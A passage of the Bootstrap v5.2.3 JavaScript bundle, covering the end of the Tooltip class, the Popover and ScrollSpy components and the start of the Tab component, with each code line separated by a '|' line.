|
|
if (this._element.getAttribute('data-bs-original-title')) {
|
|
this._element.setAttribute('title', this._element.getAttribute('data-bs-original-title'));
|
|
}
|
|
|
|
this._disposePopper();
|
|
|
|
super.dispose();
|
|
}
|
|
|
|
show() {
|
|
if (this._element.style.display === 'none') {
|
|
throw new Error('Please use show on visible elements');
|
|
}
|
|
|
|
if (!(this._isWithContent() && this._isEnabled)) {
|
|
return;
|
|
}
|
|
|
|
const showEvent = EventHandler.trigger(this._element, this.constructor.eventName(EVENT_SHOW$2));
|
|
const shadowRoot = findShadowRoot(this._element);
|
|
|
|
const isInTheDom = (shadowRoot || this._element.ownerDocument.documentElement).contains(this._element);
|
|
|
|
if (showEvent.defaultPrevented || !isInTheDom) {
|
|
return;
|
|
} // todo v6 remove this OR make it optional
|
|
|
|
|
|
this._disposePopper();
|
|
|
|
const tip = this._getTipElement();
|
|
|
|
this._element.setAttribute('aria-describedby', tip.getAttribute('id'));
|
|
|
|
const {
|
|
container
|
|
} = this._config;
|
|
|
|
if (!this._element.ownerDocument.documentElement.contains(this.tip)) {
|
|
container.append(tip);
|
|
EventHandler.trigger(this._element, this.constructor.eventName(EVENT_INSERTED));
|
|
}
|
|
|
|
this._popper = this._createPopper(tip);
|
|
tip.classList.add(CLASS_NAME_SHOW$2); // If this is a touch-enabled device we add extra
|
|
// empty mouseover listeners to the body's immediate children;
|
|
// only needed because of broken event delegation on iOS
|
|
// https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
|
|
|
|
if ('ontouchstart' in document.documentElement) {
|
|
for (const element of [].concat(...document.body.children)) {
|
|
EventHandler.on(element, 'mouseover', noop);
|
|
}
|
|
}
|
|
|
|
const complete = () => {
|
|
EventHandler.trigger(this._element, this.constructor.eventName(EVENT_SHOWN$2));
|
|
|
|
if (this._isHovered === false) {
|
|
this._leave();
|
|
}
|
|
|
|
this._isHovered = false;
|
|
};
|
|
|
|
this._queueCallback(complete, this.tip, this._isAnimated());
|
|
}
|
|
|
|
hide() {
|
|
if (!this._isShown()) {
|
|
return;
|
|
}
|
|
|
|
const hideEvent = EventHandler.trigger(this._element, this.constructor.eventName(EVENT_HIDE$2));
|
|
|
|
if (hideEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
const tip = this._getTipElement();
|
|
|
|
tip.classList.remove(CLASS_NAME_SHOW$2); // If this is a touch-enabled device we remove the extra
|
|
// empty mouseover listeners we added for iOS support
|
|
|
|
if ('ontouchstart' in document.documentElement) {
|
|
for (const element of [].concat(...document.body.children)) {
|
|
EventHandler.off(element, 'mouseover', noop);
|
|
}
|
|
}
|
|
|
|
this._activeTrigger[TRIGGER_CLICK] = false;
|
|
this._activeTrigger[TRIGGER_FOCUS] = false;
|
|
this._activeTrigger[TRIGGER_HOVER] = false;
|
|
this._isHovered = null; // it is a trick to support manual triggering
|
|
|
|
const complete = () => {
|
|
if (this._isWithActiveTrigger()) {
|
|
return;
|
|
}
|
|
|
|
if (!this._isHovered) {
|
|
this._disposePopper();
|
|
}
|
|
|
|
this._element.removeAttribute('aria-describedby');
|
|
|
|
EventHandler.trigger(this._element, this.constructor.eventName(EVENT_HIDDEN$2));
|
|
};
|
|
|
|
this._queueCallback(complete, this.tip, this._isAnimated());
|
|
}
|
|
|
|
update() {
|
|
if (this._popper) {
|
|
this._popper.update();
|
|
}
|
|
} // Protected
|
|
|
|
|
|
_isWithContent() {
|
|
return Boolean(this._getTitle());
|
|
}
|
|
|
|
_getTipElement() {
|
|
if (!this.tip) {
|
|
this.tip = this._createTipElement(this._newContent || this._getContentForTemplate());
|
|
}
|
|
|
|
return this.tip;
|
|
}
|
|
|
|
_createTipElement(content) {
|
|
const tip = this._getTemplateFactory(content).toHtml(); // todo: remove this check on v6
|
|
|
|
|
|
if (!tip) {
|
|
return null;
|
|
}
|
|
|
|
tip.classList.remove(CLASS_NAME_FADE$2, CLASS_NAME_SHOW$2); // todo: on v6 the following can be achieved with CSS only
|
|
|
|
tip.classList.add(`bs-${this.constructor.NAME}-auto`);
|
|
const tipId = getUID(this.constructor.NAME).toString();
|
|
tip.setAttribute('id', tipId);
|
|
|
|
if (this._isAnimated()) {
|
|
tip.classList.add(CLASS_NAME_FADE$2);
|
|
}
|
|
|
|
return tip;
|
|
}
|
|
|
|
setContent(content) {
|
|
this._newContent = content;
|
|
|
|
if (this._isShown()) {
|
|
this._disposePopper();
|
|
|
|
this.show();
|
|
}
|
|
}
|
|
|
|
_getTemplateFactory(content) {
|
|
if (this._templateFactory) {
|
|
this._templateFactory.changeContent(content);
|
|
} else {
|
|
this._templateFactory = new TemplateFactory({ ...this._config,
|
|
// the `content` var has to be after `this._config`
|
|
// to override config.content in case of popover
|
|
content,
|
|
extraClass: this._resolvePossibleFunction(this._config.customClass)
|
|
});
|
|
}
|
|
|
|
return this._templateFactory;
|
|
}
|
|
|
|
_getContentForTemplate() {
|
|
return {
|
|
[SELECTOR_TOOLTIP_INNER]: this._getTitle()
|
|
};
|
|
}
|
|
|
|
_getTitle() {
|
|
return this._resolvePossibleFunction(this._config.title) || this._element.getAttribute('data-bs-original-title');
|
|
} // Private
|
|
|
|
|
|
_initializeOnDelegatedTarget(event) {
|
|
return this.constructor.getOrCreateInstance(event.delegateTarget, this._getDelegateConfig());
|
|
}
|
|
|
|
_isAnimated() {
|
|
return this._config.animation || this.tip && this.tip.classList.contains(CLASS_NAME_FADE$2);
|
|
}
|
|
|
|
_isShown() {
|
|
return this.tip && this.tip.classList.contains(CLASS_NAME_SHOW$2);
|
|
}
|
|
|
|
_createPopper(tip) {
|
|
const placement = typeof this._config.placement === 'function' ? this._config.placement.call(this, tip, this._element) : this._config.placement;
|
|
const attachment = AttachmentMap[placement.toUpperCase()];
|
|
return Popper__namespace.createPopper(this._element, tip, this._getPopperConfig(attachment));
|
|
}
|
|
|
|
_getOffset() {
|
|
const {
|
|
offset
|
|
} = this._config;
|
|
|
|
if (typeof offset === 'string') {
|
|
return offset.split(',').map(value => Number.parseInt(value, 10));
|
|
}
|
|
|
|
if (typeof offset === 'function') {
|
|
return popperData => offset(popperData, this._element);
|
|
}
|
|
|
|
return offset;
|
|
}
|
|
|
|
_resolvePossibleFunction(arg) {
|
|
return typeof arg === 'function' ? arg.call(this._element) : arg;
|
|
}
|
|
|
|
_getPopperConfig(attachment) {
|
|
const defaultBsPopperConfig = {
|
|
placement: attachment,
|
|
modifiers: [{
|
|
name: 'flip',
|
|
options: {
|
|
fallbackPlacements: this._config.fallbackPlacements
|
|
}
|
|
}, {
|
|
name: 'offset',
|
|
options: {
|
|
offset: this._getOffset()
|
|
}
|
|
}, {
|
|
name: 'preventOverflow',
|
|
options: {
|
|
boundary: this._config.boundary
|
|
}
|
|
}, {
|
|
name: 'arrow',
|
|
options: {
|
|
element: `.${this.constructor.NAME}-arrow`
|
|
}
|
|
}, {
|
|
name: 'preSetPlacement',
|
|
enabled: true,
|
|
phase: 'beforeMain',
|
|
fn: data => {
|
|
// Pre-set Popper's placement attribute in order to read the arrow sizes properly.
|
|
// Otherwise, Popper mixes up the width and height dimensions since the initial arrow style is for top placement
|
|
this._getTipElement().setAttribute('data-popper-placement', data.state.placement);
|
|
}
|
|
}]
|
|
};
|
|
return { ...defaultBsPopperConfig,
|
|
...(typeof this._config.popperConfig === 'function' ? this._config.popperConfig(defaultBsPopperConfig) : this._config.popperConfig)
|
|
};
|
|
}
|
|
|
|
_setListeners() {
|
|
const triggers = this._config.trigger.split(' ');
|
|
|
|
for (const trigger of triggers) {
|
|
if (trigger === 'click') {
|
|
EventHandler.on(this._element, this.constructor.eventName(EVENT_CLICK$1), this._config.selector, event => {
|
|
const context = this._initializeOnDelegatedTarget(event);
|
|
|
|
context.toggle();
|
|
});
|
|
} else if (trigger !== TRIGGER_MANUAL) {
|
|
const eventIn = trigger === TRIGGER_HOVER ? this.constructor.eventName(EVENT_MOUSEENTER) : this.constructor.eventName(EVENT_FOCUSIN$1);
|
|
const eventOut = trigger === TRIGGER_HOVER ? this.constructor.eventName(EVENT_MOUSELEAVE) : this.constructor.eventName(EVENT_FOCUSOUT$1);
|
|
EventHandler.on(this._element, eventIn, this._config.selector, event => {
|
|
const context = this._initializeOnDelegatedTarget(event);
|
|
|
|
context._activeTrigger[event.type === 'focusin' ? TRIGGER_FOCUS : TRIGGER_HOVER] = true;
|
|
|
|
context._enter();
|
|
});
|
|
EventHandler.on(this._element, eventOut, this._config.selector, event => {
|
|
const context = this._initializeOnDelegatedTarget(event);
|
|
|
|
context._activeTrigger[event.type === 'focusout' ? TRIGGER_FOCUS : TRIGGER_HOVER] = context._element.contains(event.relatedTarget);
|
|
|
|
context._leave();
|
|
});
|
|
}
|
|
}
|
|
|
|
this._hideModalHandler = () => {
|
|
if (this._element) {
|
|
this.hide();
|
|
}
|
|
};
|
|
|
|
EventHandler.on(this._element.closest(SELECTOR_MODAL), EVENT_MODAL_HIDE, this._hideModalHandler);
|
|
}
|
|
|
|
_fixTitle() {
|
|
const title = this._element.getAttribute('title');
|
|
|
|
if (!title) {
|
|
return;
|
|
}
|
|
|
|
if (!this._element.getAttribute('aria-label') && !this._element.textContent.trim()) {
|
|
this._element.setAttribute('aria-label', title);
|
|
}
|
|
|
|
this._element.setAttribute('data-bs-original-title', title); // DO NOT USE IT. Is only for backwards compatibility
|
|
|
|
|
|
this._element.removeAttribute('title');
|
|
}
|
|
|
|
_enter() {
|
|
if (this._isShown() || this._isHovered) {
|
|
this._isHovered = true;
|
|
return;
|
|
}
|
|
|
|
this._isHovered = true;
|
|
|
|
this._setTimeout(() => {
|
|
if (this._isHovered) {
|
|
this.show();
|
|
}
|
|
}, this._config.delay.show);
|
|
}
|
|
|
|
_leave() {
|
|
if (this._isWithActiveTrigger()) {
|
|
return;
|
|
}
|
|
|
|
this._isHovered = false;
|
|
|
|
this._setTimeout(() => {
|
|
if (!this._isHovered) {
|
|
this.hide();
|
|
}
|
|
}, this._config.delay.hide);
|
|
}
|
|
|
|
_setTimeout(handler, timeout) {
|
|
clearTimeout(this._timeout);
|
|
this._timeout = setTimeout(handler, timeout);
|
|
}
|
|
|
|
_isWithActiveTrigger() {
|
|
return Object.values(this._activeTrigger).includes(true);
|
|
}
|
|
|
|
_getConfig(config) {
|
|
const dataAttributes = Manipulator.getDataAttributes(this._element);
|
|
|
|
for (const dataAttribute of Object.keys(dataAttributes)) {
|
|
if (DISALLOWED_ATTRIBUTES.has(dataAttribute)) {
|
|
delete dataAttributes[dataAttribute];
|
|
}
|
|
}
|
|
|
|
config = { ...dataAttributes,
|
|
...(typeof config === 'object' && config ? config : {})
|
|
};
|
|
config = this._mergeConfigObj(config);
|
|
config = this._configAfterMerge(config);
|
|
|
|
this._typeCheckConfig(config);
|
|
|
|
return config;
|
|
}
|
|
|
|
_configAfterMerge(config) {
|
|
config.container = config.container === false ? document.body : getElement(config.container);
|
|
|
|
if (typeof config.delay === 'number') {
|
|
config.delay = {
|
|
show: config.delay,
|
|
hide: config.delay
|
|
};
|
|
}
|
|
|
|
if (typeof config.title === 'number') {
|
|
config.title = config.title.toString();
|
|
}
|
|
|
|
if (typeof config.content === 'number') {
|
|
config.content = config.content.toString();
|
|
}
|
|
|
|
return config;
|
|
}
|
|
|
|
_getDelegateConfig() {
|
|
const config = {};
|
|
|
|
for (const key in this._config) {
|
|
if (this.constructor.Default[key] !== this._config[key]) {
|
|
config[key] = this._config[key];
|
|
}
|
|
}
|
|
|
|
config.selector = false;
|
|
config.trigger = 'manual'; // In the future can be replaced with:
|
|
// const keysWithDifferentValues = Object.entries(this._config).filter(entry => this.constructor.Default[entry[0]] !== this._config[entry[0]])
|
|
// `Object.fromEntries(keysWithDifferentValues)`
|
|
|
|
return config;
|
|
}
|
|
|
|
_disposePopper() {
|
|
if (this._popper) {
|
|
this._popper.destroy();
|
|
|
|
this._popper = null;
|
|
}
|
|
|
|
if (this.tip) {
|
|
this.tip.remove();
|
|
this.tip = null;
|
|
}
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Tooltip.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (typeof data[config] === 'undefined') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config]();
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
|
|
defineJQueryPlugin(Tooltip);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): popover.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$3 = 'popover';
|
|
const SELECTOR_TITLE = '.popover-header';
|
|
const SELECTOR_CONTENT = '.popover-body';
|
|
const Default$2 = { ...Tooltip.Default,
|
|
content: '',
|
|
offset: [0, 8],
|
|
placement: 'right',
|
|
template: '<div class="popover" role="tooltip">' + '<div class="popover-arrow"></div>' + '<h3 class="popover-header"></h3>' + '<div class="popover-body"></div>' + '</div>',
|
|
trigger: 'click'
|
|
};
|
|
const DefaultType$2 = { ...Tooltip.DefaultType,
|
|
content: '(null|string|element|function)'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Popover extends Tooltip {
|
|
// Getters
|
|
static get Default() {
|
|
return Default$2;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$2;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$3;
|
|
} // Overrides
|
|
|
|
|
|
_isWithContent() {
|
|
return this._getTitle() || this._getContent();
|
|
} // Private
|
|
|
|
|
|
_getContentForTemplate() {
|
|
return {
|
|
[SELECTOR_TITLE]: this._getTitle(),
|
|
[SELECTOR_CONTENT]: this._getContent()
|
|
};
|
|
}
|
|
|
|
_getContent() {
|
|
return this._resolvePossibleFunction(this._config.content);
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Popover.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (typeof data[config] === 'undefined') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config]();
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
|
|
defineJQueryPlugin(Popover);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): scrollspy.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$2 = 'scrollspy';
|
|
const DATA_KEY$2 = 'bs.scrollspy';
|
|
const EVENT_KEY$2 = `.${DATA_KEY$2}`;
|
|
const DATA_API_KEY = '.data-api';
|
|
const EVENT_ACTIVATE = `activate${EVENT_KEY$2}`;
|
|
const EVENT_CLICK = `click${EVENT_KEY$2}`;
|
|
const EVENT_LOAD_DATA_API$1 = `load${EVENT_KEY$2}${DATA_API_KEY}`;
|
|
const CLASS_NAME_DROPDOWN_ITEM = 'dropdown-item';
|
|
const CLASS_NAME_ACTIVE$1 = 'active';
|
|
const SELECTOR_DATA_SPY = '[data-bs-spy="scroll"]';
|
|
const SELECTOR_TARGET_LINKS = '[href]';
|
|
const SELECTOR_NAV_LIST_GROUP = '.nav, .list-group';
|
|
const SELECTOR_NAV_LINKS = '.nav-link';
|
|
const SELECTOR_NAV_ITEMS = '.nav-item';
|
|
const SELECTOR_LIST_ITEMS = '.list-group-item';
|
|
const SELECTOR_LINK_ITEMS = `${SELECTOR_NAV_LINKS}, ${SELECTOR_NAV_ITEMS} > ${SELECTOR_NAV_LINKS}, ${SELECTOR_LIST_ITEMS}`;
|
|
const SELECTOR_DROPDOWN = '.dropdown';
|
|
const SELECTOR_DROPDOWN_TOGGLE$1 = '.dropdown-toggle';
|
|
const Default$1 = {
|
|
offset: null,
|
|
// TODO: v6 @deprecated, keep it for backwards compatibility reasons
|
|
rootMargin: '0px 0px -25%',
|
|
smoothScroll: false,
|
|
target: null,
|
|
threshold: [0.1, 0.5, 1]
|
|
};
|
|
const DefaultType$1 = {
|
|
offset: '(number|null)',
|
|
// TODO v6 @deprecated, keep it for backwards compatibility reasons
|
|
rootMargin: 'string',
|
|
smoothScroll: 'boolean',
|
|
target: 'element',
|
|
threshold: 'array'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class ScrollSpy extends BaseComponent {
|
|
constructor(element, config) {
|
|
super(element, config); // this._element is the observablesContainer and config.target the menu links wrapper
|
|
|
|
this._targetLinks = new Map();
|
|
this._observableSections = new Map();
|
|
this._rootElement = getComputedStyle(this._element).overflowY === 'visible' ? null : this._element;
|
|
this._activeTarget = null;
|
|
this._observer = null;
|
|
this._previousScrollData = {
|
|
visibleEntryTop: 0,
|
|
parentScrollTop: 0
|
|
};
|
|
this.refresh(); // initialize
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$1;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$1;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$2;
|
|
} // Public
|
|
|
|
|
|
refresh() {
|
|
this._initializeTargetsAndObservables();
|
|
|
|
this._maybeEnableSmoothScroll();
|
|
|
|
if (this._observer) {
|
|
this._observer.disconnect();
|
|
} else {
|
|
this._observer = this._getNewObserver();
|
|
}
|
|
|
|
for (const section of this._observableSections.values()) {
|
|
this._observer.observe(section);
|
|
}
|
|
}
|
|
|
|
dispose() {
|
|
this._observer.disconnect();
|
|
|
|
super.dispose();
|
|
} // Private
|
|
|
|
|
|
_configAfterMerge(config) {
|
|
// TODO: on v6 target should be given explicitly & remove the {target: 'ss-target'} case
|
|
config.target = getElement(config.target) || document.body; // TODO: v6 Only for backwards compatibility reasons. Use rootMargin only
|
|
|
|
config.rootMargin = config.offset ? `${config.offset}px 0px -30%` : config.rootMargin;
|
|
|
|
if (typeof config.threshold === 'string') {
|
|
config.threshold = config.threshold.split(',').map(value => Number.parseFloat(value));
|
|
}
|
|
|
|
return config;
|
|
}
|
|
|
|
_maybeEnableSmoothScroll() {
|
|
if (!this._config.smoothScroll) {
|
|
return;
|
|
} // unregister any previous listeners
|
|
|
|
|
|
EventHandler.off(this._config.target, EVENT_CLICK);
|
|
EventHandler.on(this._config.target, EVENT_CLICK, SELECTOR_TARGET_LINKS, event => {
|
|
const observableSection = this._observableSections.get(event.target.hash);
|
|
|
|
if (observableSection) {
|
|
event.preventDefault();
|
|
const root = this._rootElement || window;
|
|
const height = observableSection.offsetTop - this._element.offsetTop;
|
|
|
|
if (root.scrollTo) {
|
|
root.scrollTo({
|
|
top: height,
|
|
behavior: 'smooth'
|
|
});
|
|
return;
|
|
} // Chrome 60 doesn't support `scrollTo`
|
|
|
|
|
|
root.scrollTop = height;
|
|
}
|
|
});
|
|
}
|
|
|
|
_getNewObserver() {
|
|
const options = {
|
|
root: this._rootElement,
|
|
threshold: this._config.threshold,
|
|
rootMargin: this._config.rootMargin
|
|
};
|
|
return new IntersectionObserver(entries => this._observerCallback(entries), options);
|
|
} // The logic of selection
|
|
|
|
|
|
_observerCallback(entries) {
|
|
const targetElement = entry => this._targetLinks.get(`#${entry.target.id}`);
|
|
|
|
const activate = entry => {
|
|
this._previousScrollData.visibleEntryTop = entry.target.offsetTop;
|
|
|
|
this._process(targetElement(entry));
|
|
};
|
|
|
|
const parentScrollTop = (this._rootElement || document.documentElement).scrollTop;
|
|
const userScrollsDown = parentScrollTop >= this._previousScrollData.parentScrollTop;
|
|
this._previousScrollData.parentScrollTop = parentScrollTop;
|
|
|
|
for (const entry of entries) {
|
|
if (!entry.isIntersecting) {
|
|
this._activeTarget = null;
|
|
|
|
this._clearActiveClass(targetElement(entry));
|
|
|
|
continue;
|
|
}
|
|
|
|
const entryIsLowerThanPrevious = entry.target.offsetTop >= this._previousScrollData.visibleEntryTop; // if we are scrolling down, pick the bigger offsetTop
|
|
|
|
if (userScrollsDown && entryIsLowerThanPrevious) {
|
|
activate(entry); // if parent isn't scrolled, let's keep the first visible item, breaking the iteration
|
|
|
|
if (!parentScrollTop) {
|
|
return;
|
|
}
|
|
|
|
continue;
|
|
} // if we are scrolling up, pick the smallest offsetTop
|
|
|
|
|
|
if (!userScrollsDown && !entryIsLowerThanPrevious) {
|
|
activate(entry);
|
|
}
|
|
}
|
|
}
|
|
|
|
_initializeTargetsAndObservables() {
|
|
this._targetLinks = new Map();
|
|
this._observableSections = new Map();
|
|
const targetLinks = SelectorEngine.find(SELECTOR_TARGET_LINKS, this._config.target);
|
|
|
|
for (const anchor of targetLinks) {
|
|
// ensure that the anchor has an id and is not disabled
|
|
if (!anchor.hash || isDisabled(anchor)) {
|
|
continue;
|
|
}
|
|
|
|
const observableSection = SelectorEngine.findOne(anchor.hash, this._element); // ensure that the observableSection exists & is visible
|
|
|
|
if (isVisible(observableSection)) {
|
|
this._targetLinks.set(anchor.hash, anchor);
|
|
|
|
this._observableSections.set(anchor.hash, observableSection);
|
|
}
|
|
}
|
|
}
|
|
|
|
_process(target) {
|
|
if (this._activeTarget === target) {
|
|
return;
|
|
}
|
|
|
|
this._clearActiveClass(this._config.target);
|
|
|
|
this._activeTarget = target;
|
|
target.classList.add(CLASS_NAME_ACTIVE$1);
|
|
|
|
this._activateParents(target);
|
|
|
|
EventHandler.trigger(this._element, EVENT_ACTIVATE, {
|
|
relatedTarget: target
|
|
});
|
|
}
|
|
|
|
_activateParents(target) {
|
|
// Activate dropdown parents
|
|
if (target.classList.contains(CLASS_NAME_DROPDOWN_ITEM)) {
|
|
SelectorEngine.findOne(SELECTOR_DROPDOWN_TOGGLE$1, target.closest(SELECTOR_DROPDOWN)).classList.add(CLASS_NAME_ACTIVE$1);
|
|
return;
|
|
}
|
|
|
|
for (const listGroup of SelectorEngine.parents(target, SELECTOR_NAV_LIST_GROUP)) {
|
|
// Set triggered links parents as active
|
|
// With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor
|
|
for (const item of SelectorEngine.prev(listGroup, SELECTOR_LINK_ITEMS)) {
|
|
item.classList.add(CLASS_NAME_ACTIVE$1);
|
|
}
|
|
}
|
|
}
|
|
|
|
_clearActiveClass(parent) {
|
|
parent.classList.remove(CLASS_NAME_ACTIVE$1);
|
|
const activeNodes = SelectorEngine.find(`${SELECTOR_TARGET_LINKS}.${CLASS_NAME_ACTIVE$1}`, parent);
|
|
|
|
for (const node of activeNodes) {
|
|
node.classList.remove(CLASS_NAME_ACTIVE$1);
|
|
}
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = ScrollSpy.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config]();
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(window, EVENT_LOAD_DATA_API$1, () => {
|
|
for (const spy of SelectorEngine.find(SELECTOR_DATA_SPY)) {
|
|
ScrollSpy.getOrCreateInstance(spy);
|
|
}
|
|
});
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(ScrollSpy);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): tab.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$1 = 'tab';
|
|
const DATA_KEY$1 = 'bs.tab';
|
|
const EVENT_KEY$1 = `.${DATA_KEY$1}`;
|
|
const EVENT_HIDE$1 = `hide${EVENT_KEY$1}`;
|
|
const EVENT_HIDDEN$1 = `hidden${EVENT_KEY$1}`;
|
|
const EVENT_SHOW$1 = `show${EVENT_KEY$1}`;
|
|
const EVENT_SHOWN$1 = `shown${EVENT_KEY$1}`;
|
|
const EVENT_CLICK_DATA_API = `click${EVENT_KEY$1}`;
|
|
const EVENT_KEYDOWN = `keydown${EVENT_KEY$1}`;
|
|
const EVENT_LOAD_DATA_API = `load${EVENT_KEY$1}`;
|
|
const ARROW_LEFT_KEY = 'ArrowLeft';
|
|
const ARROW_RIGHT_KEY = 'ArrowRight';
|
|
const ARROW_UP_KEY = 'ArrowUp';
|
|
const ARROW_DOWN_KEY = 'ArrowDown';
|
|
const CLASS_NAME_ACTIVE = 'active';
|
|
const CLASS_NAME_FADE$1 = 'fade';
|
|
const CLASS_NAME_SHOW$1 = 'show';
|
|
const CLASS_DROPDOWN = 'dropdown';
|
|
const SELECTOR_DROPDOWN_TOGGLE = '.dropdown-toggle';
|
|
const SELECTOR_DROPDOWN_MENU = '.dropdown-menu';
|
|
const NOT_SELECTOR_DROPDOWN_TOGGLE = ':not(.dropdown-toggle)';
|
|
const SELECTOR_TAB_PANEL = '.list-group, .nav, [role="tablist"]';
|
|
const SELECTOR_OUTER = '.nav-item, .list-group-item';
|
|
const SELECTOR_INNER = `.nav-link${NOT_SELECTOR_DROPDOWN_TOGGLE}, .list-group-item${NOT_SELECTOR_DROPDOWN_TOGGLE}, [role="tab"]${NOT_SELECTOR_DROPDOWN_TOGGLE}`;
|
|
const SELECTOR_DATA_TOGGLE = '[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]'; // todo:v6: could be only `tab`
|
|
|
|
const SELECTOR_INNER_ELEM = `${SELECTOR_INNER}, ${SELECTOR_DATA_TOGGLE}`;
|
|
const SELECTOR_DATA_TOGGLE_ACTIVE = `.${CLASS_NAME_ACTIVE}[data-bs-toggle="tab"], .${CLASS_NAME_ACTIVE}[data-bs-toggle="pill"], .${CLASS_NAME_ACTIVE}[data-bs-toggle="list"]`;
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Tab extends BaseComponent {
|
|
constructor(element) {
|
|
super(element);
|
|
this._parent = this._element.closest(SELECTOR_TAB_PANEL);
|
|
|
|
if (!this._parent) {
|
|
return; // todo: should Throw exception on v6
|
|
// throw new TypeError(`${element.outerHTML} has not a valid parent ${SELECTOR_INNER_ELEM}`)
|
|
} // Set up initial aria attributes
|
|
|
|
|
|
this._setInitialAttributes(this._parent, this._getChildren());
|
|
|
|
EventHandler.on(this._element, EVENT_KEYDOWN, event => this._keydown(event));
|
|
} // Getters
|
|
|
|
|
|
static get NAME() {
|
|
return NAME$1;
|
|
} // Public
|
|
|
|
|
|
show() {
|
|
// Shows this elem and deactivate the active sibling if exists
|
|
const innerElem = this._element;
|
|
|
|
if (this._elemIsActive(innerElem)) {
|
|
return;
|
|
} // Search for active tab on same parent to deactivate it
|
|
|
|
|
|
const active = this._getActiveElem();
|
|
|
|
const hideEvent = active ? EventHandler.trigger(active, EVENT_HIDE$1, {
|
|
relatedTarget: innerElem
|
|
}) : null;
|
|
const showEvent = EventHandler.trigger(innerElem, EVENT_SHOW$1, {
|
|
relatedTarget: active
|
|
});
|
|
|
|
if (showEvent.defaultPrevented || hideEvent && hideEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._deactivate(active, innerElem);
|
|
|
|
this._activate(innerElem, active);
|
|
} // Private
|
|
|
|
|
|
_activate(element, relatedElem) {
|
|
if (!element) {
|
|
return;
|
|
}
|
|
|
|
element.classList.add(CLASS_NAME_ACTIVE);
|
|
|
|
this._activate(getElementFromSelector(element)); // Search and activate/show the proper section
|
|
|
|
|
|
const complete = () => {
|
|
if (element.getAttribute('role') !== 'tab') {
|
|
element.classList.add(CLASS_NAME_SHOW$1);
|
|
return;
|
|
}
|
|
|
|
element.removeAttribute('tabindex');
|
|
element.setAttribute('aria-selected', true);
|
|
|
|
this._toggleDropDown(element, true);
|
|
|
|
EventHandler.trigger(element, EVENT_SHOWN$1, {
|
|
relatedTarget: relatedElem
|
|
});
|
|
};
|
|
|
|
this._queueCallback(complete, element, element.classList.contains(CLASS_NAME_FADE$1));
|
|
}
|
|
|
|
_deactivate(element, relatedElem) {
|
|
if (!element) {
|
|
return;
|
|
}
|
|
|
|
element.classList.remove(CLASS_NAME_ACTIVE);
|
|
element.blur();
|
|
|
|
this._deactivate(getElementFromSelector(element)); // Search and deactivate the shown section too
|
|
|
|
|
|
const complete = () => {
|
|
if (element.getAttribute('role') !== 'tab') {
|
|
element.classList.remove(CLASS_NAME_SHOW$1);
|
|
return;
|
|
}
|
|
|
|
element.setAttribute('aria-selected', false);
|
|
element.setAttribute('tabindex', '-1');
|
|
|
|
this._toggleDropDown(element, false);
|
|
|
|
EventHandler.trigger(element, EVENT_HIDDEN$1, {
|
|
relatedTarget: relatedElem
|
|
});
|
|
};
|
|
|
|
this._queueCallback(complete, element, element.classList.contains(CLASS_NAME_FADE$1));
|
|
}
|
|
|
|
_keydown(event) {
|
|
if (![ARROW_LEFT_KEY, ARROW_RIGHT_KEY, ARROW_UP_KEY, ARROW_DOWN_KEY].includes(event.key)) {
|
|
return;
|
|
}
|
|
|
|
event.stopPropagation(); // stopPropagation/preventDefault both added to support up/down keys without scrolling the page
|
|
|
|
event.preventDefault();
|
|
const isNext = [ARROW_RIGHT_KEY, ARROW_DOWN_KEY].includes(event.key);
|
|
const nextActiveElement = getNextActiveElement(this._getChildren().filter(element => !isDisabled(element)), event.target, isNext, true);
|
|
|
|
if (nextActiveElement) {
|
